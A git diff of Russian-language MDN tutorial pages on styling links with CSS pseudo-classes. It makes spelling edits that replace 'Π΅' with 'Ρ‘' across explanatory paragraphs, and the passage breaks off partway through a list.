@@ -52,7 +52,7 @@ translation_of: Learn/CSS/Styling_text
<h2 id="ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ°">ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ°</h2>
-<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ задания провСрят вашС ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² стилизации тСкста, описанных Π² Π²Ρ‹ΡˆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹Ρ… руководствах.</p>
+<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ задания провСрят вашС ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² стилизации тСкста, описанных Π² Π²Ρ‹ΡˆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹Ρ… руководствах.</p>
<dl>
<dt><a href="/en-US/Learn/CSS/Styling_text/Typesetting_a_homepage">Вёрстка домашнСй страницы ΠΌΡƒΠ½ΠΈΡ†ΠΈΠΏΠ°Π»ΡŒΠ½ΠΎΠΉ ΡˆΠΊΠΎΠ»Ρ‹</a></dt>
diff --git a/files/ru/learn/css/styling_text/styling_links/index.html b/files/ru/learn/css/styling_text/styling_links/index.html
index bbafb52296..993e92c7b8 100644
--- a/files/ru/learn/css/styling_text/styling_links/index.html
+++ b/files/ru/learn/css/styling_text/styling_links/index.html
@@ -31,10 +31,10 @@ translation_of: Learn/CSS/Styling_text/Styling_links
<p><span class="tlid-translation translation" lang="ru"><span title="">ΠŸΠ΅Ρ€Π²ΠΎΠ΅, Ρ‡Ρ‚ΠΎ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠΎΠ½ΡΡ‚ΡŒ, это концСпция состояний ссылок </span></span>β€” Ρ€Π°Π·Π½Ρ‹Π΅ состояния Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΌΠΎΠ³ΡƒΡ‚ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ ссылки, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ стилизованы ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ <a href="/en-US/Learn/CSS/Introduction_to_CSS/Selectors#Pseudo-classes">псСвдоклассы</a>:</p>
<ul>
- <li><strong>Link (Π½Π΅ посСщСнная)</strong>: <span class="tlid-translation translation" lang="ru"><span title="">БостояниС ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ находится ссылка</span></span>, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½Π° Π½Π΅ находится Π² ΠΊΠ°ΠΊΠΎΠΌ-Π»ΠΈΠ±ΠΎ Π΄Ρ€ΡƒΠ³ΠΎΠΌ состоянии. Она ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ спСцифичСски стилизована ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ псСвдокласс {{cssxref(":link")}}.</li>
+ <li><strong>Link (Π½Π΅ посСщённая)</strong>: <span class="tlid-translation translation" lang="ru"><span title="">БостояниС ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ находится ссылка</span></span>, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½Π° Π½Π΅ находится Π² ΠΊΠ°ΠΊΠΎΠΌ-Π»ΠΈΠ±ΠΎ Π΄Ρ€ΡƒΠ³ΠΎΠΌ состоянии. Она ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ спСцифичСски стилизована ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ псСвдокласс {{cssxref(":link")}}.</li>
<li><strong>Visited</strong>: Бсылка, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½Π° ΡƒΠΆΠ΅ Π±Ρ‹Π»Π° посСщСна (сущСствуСт Π² истории Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°), стилизуСтся ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ псСвдокласс {{cssxref(":visited")}}.</li>
- <li><strong>Hover</strong>: Бсылка, ΠΊΠΎΠ³Π΄Π° Π½Π° Π½Π΅Π΅ Π½Π°Π²Π΅Π΄Π΅Π½ курсор ΠΌΡ‹ΡˆΠΈ, стилизуСтся ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ псСвдокласс {{cssxref(":hover")}}</li>
- <li><strong>Focus</strong>: Бсылка, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½Π° Π±Ρ‹Π»Π° сфокусирована (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ пСрСмСстился Π½Π° Π½Π΅Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΊΠ»Π°Π²ΠΈΡˆΡƒ <kbd>Tab</kbd> ΠΈΠ»ΠΈ Π½Π°ΠΏΠΎΠ΄ΠΎΠ±ΠΈΠ΅ ΠΈΠ»ΠΈ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎ сфокусирована ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ {{domxref("HTMLElement.focus()")}}) β€” стилизуСтся ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ псСвдокласс {{cssxref(":focus")}}.</li>
+ <li><strong>Hover</strong>: Бсылка, ΠΊΠΎΠ³Π΄Π° Π½Π° Π½Π΅Ρ‘ Π½Π°Π²Π΅Π΄Ρ‘Π½ курсор ΠΌΡ‹ΡˆΠΈ, стилизуСтся ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ псСвдокласс {{cssxref(":hover")}}</li>
+ <li><strong>Focus</strong>: Бсылка, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½Π° Π±Ρ‹Π»Π° сфокусирована (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ пСрСмСстился Π½Π° Π½Π΅Ρ‘ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΊΠ»Π°Π²ΠΈΡˆΡƒ <kbd>Tab</kbd> ΠΈΠ»ΠΈ Π½Π°ΠΏΠΎΠ΄ΠΎΠ±ΠΈΠ΅ ΠΈΠ»ΠΈ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎ сфокусирована ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ {{domxref("HTMLElement.focus()")}}) β€” стилизуСтся ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ псСвдокласс {{cssxref(":focus")}}.</li>
<li><strong>Active</strong>: Бсылка, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½Π° активируСтся (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΡ€ΠΈ ΠΊΠ»ΠΈΠΊΠ΅ ΠΏΠΎ Π½Π΅ΠΉ), стилизуСтся ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ псСвдокласс {{cssxref(":active")}}</li>
</ul>
@@ -56,8 +56,8 @@ translation_of: Learn/CSS/Styling_text/Styling_links
<ul>
<li>Бсылки ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠ½ΡƒΡ‚Ρ‹.</li>
- <li>НС посСщСнныС ссылки синиС.</li>
- <li>ΠŸΠΎΡΠ΅Ρ‰Π΅Π½Π½Ρ‹Π΅ ссылки Ρ„ΠΈΠΎΠ»Π΅Ρ‚ΠΎΠ²Ρ‹Π΅</li>
+ <li>НС посСщённыС ссылки синиС.</li>
+ <li>ΠŸΠΎΡΠ΅Ρ‰Ρ‘Π½Π½Ρ‹Π΅ ссылки Ρ„ΠΈΠΎΠ»Π΅Ρ‚ΠΎΠ²Ρ‹Π΅</li>
<li>НавСдСниС курсора ΠΌΡ‹ΡˆΠΈ Π½Π° ссылку ΠΌΠ΅Π½ΡΡŽΡ‚ ΡƒΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒ ΠΌΡ‹ΡˆΠΈ Π½Π° ΠΈΠΊΠΎΠ½ΠΊΡƒ малСнькой Ρ€ΡƒΠΊΠΈ.</li>
<li>БфокусированныС ссылки ΠΈΠΌΠ΅ΡŽΡ‚ ΠΊΠΎΠ½Ρ‚ΡƒΡ€ Π²ΠΎΠΊΡ€ΡƒΠ³ сСбя β€” <span class="tlid-translation translation" lang="ru"><span title="">Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΡ„ΠΎΠΊΡƒΡΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π½Π° ссылках Π½Π° этой страницС с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹, Π½Π°ΠΆΠ°Π² ΠΊΠ»Π°Π²ΠΈΡˆΡƒ табуляции (Π½Π° </span></span>Mac, Π²Π°ΠΌ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ½Π°Π΄ΠΎΠ±ΠΈΡ‚ΡŒΡΡ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ ΠΎΠΏΡ†ΠΈΡŽ <em>Full Keyboard Access: All controls </em>Π½Π°ΠΆΠ°Π² <kbd>Ctrl</kbd> + <kbd>F7</kbd><span style='font-family: "Times New Roman",serif; font-size: 12.0pt; line-height: 200%;'>,</span> ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ это Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ<span class="tlid-translation translation" lang="ru"><span title="">).</span></span></li>
<li>АктивныС ссылки красныС (ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΡƒΠ΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ ΠΊΠ½ΠΎΠΏΠΊΡƒ ΠΌΡ‹ΡˆΠΈ Π½Π° ссылкС, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ ΠΊΠ»ΠΈΠΊΠ½ΠΈΡ‚Π΅ ΠΏΠΎ Π½Π΅ΠΉ).</li>
@@ -66,7 +66,7 @@ translation_of: Learn/CSS/Styling_text/Styling_links
<p>Π”ΠΎΠ²ΠΎΠ»ΡŒΠ½ΠΎ интСрСсно, Ρ‡Ρ‚ΠΎ эти стили ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΏΡ€ΠΈΠ±Π»ΠΈΠ·ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Ρ‚Π°ΠΊΠΈΠ΅ ΠΆΠ΅ ΠΊΠ°ΠΊΠΈΠΌΠΈ ΠΎΠ½ΠΈ Π±Ρ‹Π»ΠΈ Π² ΠΏΠ΅Ρ€Π²Ρ‹Π΅ Π΄Π½ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² Π² сСрСдинС 1990-Ρ‹Ρ…. Π­Ρ‚ΠΎ ΠΏΠΎΡ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ Π·Π½Π°ΡŽΡ‚ ΠΈ ΠΏΡ€ΠΈΠ²Ρ‹ΠΊΠ»ΠΈ ΠΎΠΆΠΈΠ΄Π°Ρ‚ΡŒ Ρ‚Π°ΠΊΠΎΠ³ΠΎ повСдСния β€” Ссли Π±Ρ‹ ссылки Π±Ρ‹Π»ΠΈ стилизованы ΠΏΠΎ-Ρ€Π°Π·Π½ΠΎΠΌΡƒ, это Π±Ρ‹ ΠΏΡƒΡ‚Π°Π»ΠΎ ΠΌΠ½ΠΎΠ³ΠΎ людСй. Π­Ρ‚ΠΎ Π½Π΅ Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π½Π΅Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΡ‚ΠΈΠ»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ ссылки совсСм, просто Π²Ρ‹ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΡ…ΠΎΠ΄ΠΈΡ‚ΡŒ слишком Π΄Π°Π»Π΅ΠΊΠΎ ΠΎΡ‚ ΠΎΠΆΠΈΠ΄Π°Π΅ΠΌΠΎΠ³ΠΎ повСдСния. По ΠΊΡ€Π°ΠΉΠ½Π΅ΠΉ ΠΌΠ΅Ρ€Π΅ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹:</p>
<ul>
- <li>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π½ΠΈΠΆΠ½Π΅Π΅ ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅ для ссылок, Π½ΠΎ Π½Π΅ для Π΄Ρ€ΡƒΠ³ΠΈΡ… Π²Π΅Ρ‰Π΅ΠΉ. Если Π²Ρ‹ Π½Π΅ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠΈΠ²Π°Ρ‚ΡŒ ссылки, Ρ‚ΠΎ хотя Π±Ρ‹ Π²Ρ‹Π΄Π΅Π»ΠΈΡ‚Π΅ ΠΈΡ… ΠΊΠ°ΠΊΠΈΠΌ-Π»ΠΈΠ±ΠΎ Π΄Ρ€ΡƒΠ³ΠΈΠΌ ΠΏΡƒΡ‚Π΅ΠΌ.</li>
+ <li>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π½ΠΈΠΆΠ½Π΅Π΅ ΠΏΠΎΠ΄Ρ‡Ρ‘Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅ для ссылок, Π½ΠΎ Π½Π΅ для Π΄Ρ€ΡƒΠ³ΠΈΡ… Π²Π΅Ρ‰Π΅ΠΉ. Если Π²Ρ‹ Π½Π΅ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΠΎΠ΄Ρ‡Ρ‘Ρ€ΠΊΠΈΠ²Π°Ρ‚ΡŒ ссылки, Ρ‚ΠΎ хотя Π±Ρ‹ Π²Ρ‹Π΄Π΅Π»ΠΈΡ‚Π΅ ΠΈΡ… ΠΊΠ°ΠΊΠΈΠΌ-Π»ΠΈΠ±ΠΎ Π΄Ρ€ΡƒΠ³ΠΈΠΌ ΠΏΡƒΡ‚Π΅ΠΌ.</li>
<li>Π‘Π΄Π΅Π»Π°Ρ‚ΡŒ Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ΠΈ ΠΊΠ°ΠΊ-Π½ΠΈΠ±ΡƒΠ΄ΡŒ Ρ€Π΅Π°Π³ΠΈΡ€ΠΎΠ²Π°Π»ΠΈ Π½Π° Π½Π°Π²Π΅Π΄Π΅Π½ΠΈΠ΅/фокусировку Π½Π° Π½ΠΈΡ… ΠΈ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΎΡ‚Π»ΠΈΡ‡Π°Π»ΠΈΡΡŒ послС Π°ΠΊΡ‚ΠΈΠ²Π°Ρ†ΠΈΠΈ.</li>
</ul>
@@ -113,9 +113,9 @@ a:active {
}</pre>
-<p>Π­Ρ‚ΠΎΡ‚ порядок Π²Π°ΠΆΠ΅Π½ Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ стили ссылок ΠΎΠΏΠΈΡ€Π°ΡŽΡ‚ΡΡ Π΄Ρ€ΡƒΠ³ Π½Π° Π΄Ρ€ΡƒΠ³Π°, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ стили Π² ΠΏΠ΅Ρ€Π²ΠΎΠΌ ΠΏΡ€Π°Π²ΠΈΠ»Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ ΠΊΠΎ всСм ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΏΡ€Π°Π²ΠΈΠ»Π°ΠΌ ΠΈ ΠΊΠΎΠ³Π΄Π° ссылка Π±ΡƒΠ΄Π΅Ρ‚ Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€ΠΎΠ²Π°Π½Π°, ΠΎΠ½Π° Ρ‚Π°ΠΊΠΆΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ ΠΏΠΎΠ΄ "Π½Π°Π²Π΅Π΄Π΅Π½ΠΈΠ΅ΠΌ" (hover). Если Π²Ρ‹ Π²Π²Π΅Π΄Π΅Ρ‚Π΅ ΠΈΡ… Π² Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠΌ порядкС, стили Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ. Π§Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ этот порядок Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΌΠ½Π΅ΠΌΠΎΠ½ΠΈΠΊΡƒ Ρ‚ΠΈΠΏΠ° <strong>L</strong>o<strong>V</strong>e <strong>F</strong>ears <strong>HA</strong>te.</p>
+<p>Π­Ρ‚ΠΎΡ‚ порядок Π²Π°ΠΆΠ΅Π½ Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ стили ссылок ΠΎΠΏΠΈΡ€Π°ΡŽΡ‚ΡΡ Π΄Ρ€ΡƒΠ³ Π½Π° Π΄Ρ€ΡƒΠ³Π°, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ стили Π² ΠΏΠ΅Ρ€Π²ΠΎΠΌ ΠΏΡ€Π°Π²ΠΈΠ»Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ ΠΊΠΎ всСм ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΏΡ€Π°Π²ΠΈΠ»Π°ΠΌ ΠΈ ΠΊΠΎΠ³Π΄Π° ссылка Π±ΡƒΠ΄Π΅Ρ‚ Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€ΠΎΠ²Π°Π½Π°, ΠΎΠ½Π° Ρ‚Π°ΠΊΠΆΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ ΠΏΠΎΠ΄ "Π½Π°Π²Π΅Π΄Π΅Π½ΠΈΠ΅ΠΌ" (hover). Если Π²Ρ‹ Π²Π²Π΅Π΄Ρ‘Ρ‚Π΅ ΠΈΡ… Π² Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠΌ порядкС, стили Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ. Π§Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ этот порядок Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΌΠ½Π΅ΠΌΠΎΠ½ΠΈΠΊΡƒ Ρ‚ΠΈΠΏΠ° <strong>L</strong>o<strong>V</strong>e <strong>F</strong>ears <strong>HA</strong>te.</p>
-<p>А Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π΄Π°Π²Π°ΠΉΡ‚Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΠΌ Π΅Ρ‰Π΅ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ <span class="tlid-translation translation" lang="ru"><span title="">Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ ΠΎΡ„ΠΎΡ€ΠΌΠΈΡ‚ΡŒ этот ΡΡ‚ΠΈΠ»ΡŒ:</span></span></p>
+<p>А Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π΄Π°Π²Π°ΠΉΡ‚Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΠΌ Π΅Ρ‰Ρ‘ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ <span class="tlid-translation translation" lang="ru"><span title="">Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ ΠΎΡ„ΠΎΡ€ΠΌΠΈΡ‚ΡŒ этот ΡΡ‚ΠΈΠ»ΡŒ:</span></span></p>
<pre class="brush: css">body {
width: 300px;
@@ -163,20 +163,20 @@ a:active {
Firefox&lt;/a&gt;, &lt;a href="https://www.google.com/chrome/index.html"&gt;Google Chrome&lt;/a&gt;, and
&lt;a href="https://www.microsoft.com/en-us/windows/microsoft-edge"&gt;Microsoft Edge&lt;/a&gt;.&lt;/p&gt;</pre>
-<p>ОбъСдинСниС этих Π΄Π²ΡƒΡ… Π΄Π°Π΅Ρ‚ Π½Π°ΠΌ Ρ‚Π°ΠΊΠΎΠΉ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚:</p>
+<p>ОбъСдинСниС этих Π΄Π²ΡƒΡ… Π΄Π°Ρ‘Ρ‚ Π½Π°ΠΌ Ρ‚Π°ΠΊΠΎΠΉ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚:</p>
<p>{{ EmbedLiveSample('Бтилизация_Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ…_ссылок', '100%', 150) }}</p>
-<p>Π˜Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ сдСлали Ρ‚ΡƒΡ‚? Π­Ρ‚ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎ выглядит ΠΈΠ½Π°Ρ‡Π΅ Ρ‡Π΅ΠΌ стилизация ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Π½ΠΎ <span class="tlid-translation translation" lang="ru"><span title="">всС Π΅Ρ‰Π΅ Π΄Π°Π΅Ρ‚ достаточно Π·Π½Π°ΠΊΠΎΠΌΡ‹ΠΉ ΠΎΠΏΡ‹Ρ‚ для ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π½Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ происходит:</span></span></p>
+<p>Π˜Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ сдСлали Ρ‚ΡƒΡ‚? Π­Ρ‚ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎ выглядит ΠΈΠ½Π°Ρ‡Π΅ Ρ‡Π΅ΠΌ стилизация ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Π½ΠΎ <span class="tlid-translation translation" lang="ru"><span title="">всС Π΅Ρ‰Ρ‘ Π΄Π°Ρ‘Ρ‚ достаточно Π·Π½Π°ΠΊΠΎΠΌΡ‹ΠΉ ΠΎΠΏΡ‹Ρ‚ для ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π½Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ происходит:</span></span></p>
<ul>
<li>ΠŸΠ΅Ρ€Π²Ρ‹Π΅ Π΄Π²Π° ΠΏΡ€Π°Π²ΠΈΠ»Π° Π½Π΅ Ρ‚Π°ΠΊ интСрСсны Π² этом обсуТдСнии.</li>
- <li>Π’Ρ€Π΅Ρ‚ΡŒΠ΅ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ сСлСктор <code>a</code> Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·Π±Π°Π²ΠΈΡ‚ΡŒΡΡ ΠΎΡ‚ подчСркивания тСкста ΠΈ ΠΊΠΎΠ½Ρ‚ΡƒΡ€Π° фокуса ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ всС Ρ€Π°Π²Π½ΠΎ Π²Π°Ρ€ΡŒΠΈΡ€ΡƒΡŽΡ‚ Π² зависимости ΠΎΡ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°), Π° Ρ‚Π°ΠΊΠΆΠ΅ добавляСт ΠΌΠ°Π»ΠΎΠ΅ количСство padding ΠΊ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ссылкС β€” всС это станСт ясно ΠΏΠΎΠ·ΠΆΠ΅.</li>
- <li>Π”Π°Π»Π΅Π΅, ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ сСлСкторы <code>a:link</code> ΠΈ <code>a:visited</code> Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ ΠΏΠ°Ρ€Ρƒ Ρ†Π²Π΅Ρ‚ΠΎΠ²Ρ‹Ρ… Π²Π°Ρ€ΠΈΠ°Ρ†ΠΈΠΉ Π½Π΅ посСщСнных ΠΈ посСщСнных ссылок, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎΠ± ΠΎΠ½ΠΈ ΠΎΡ‚Π»ΠΈΡ‡Π°Π»ΠΈΡΡŒ.</li>
- <li>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ Π΄Π²Π° ΠΏΡ€Π°Π²ΠΈΠ»Π° ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ <code>a:focus</code> ΠΈ <code>a:hover</code> Π½Π°ΡΡ‚Ρ€Π°ΠΈΠ²Π°ΡŽΡ‚ сфокусированныС ΠΈ Π½Π°Π²Π΅Π΄Π΅Π½Π½Ρ‹Π΅ (hovered) ссылки Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ΠΈ ΠΈΠΌΠ΅Π»ΠΈ Ρ€Π°Π·Π½Ρ‹Π΅ Ρ„ΠΎΠ½ΠΎΠ²Ρ‹Π΅ Ρ†Π²Π΅Ρ‚Π°, плюс Π½ΠΈΠΆΠ½Π΅Π΅ ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ссылка Π²Ρ‹Π΄Π΅Π»ΡΠ»Π°ΡΡŒ Π΅Ρ‰Π΅ большС. Π”Π²Π° ΠΏΡƒΠ½ΠΊΡ‚Π° Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π°Π΄ΠΎ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅:
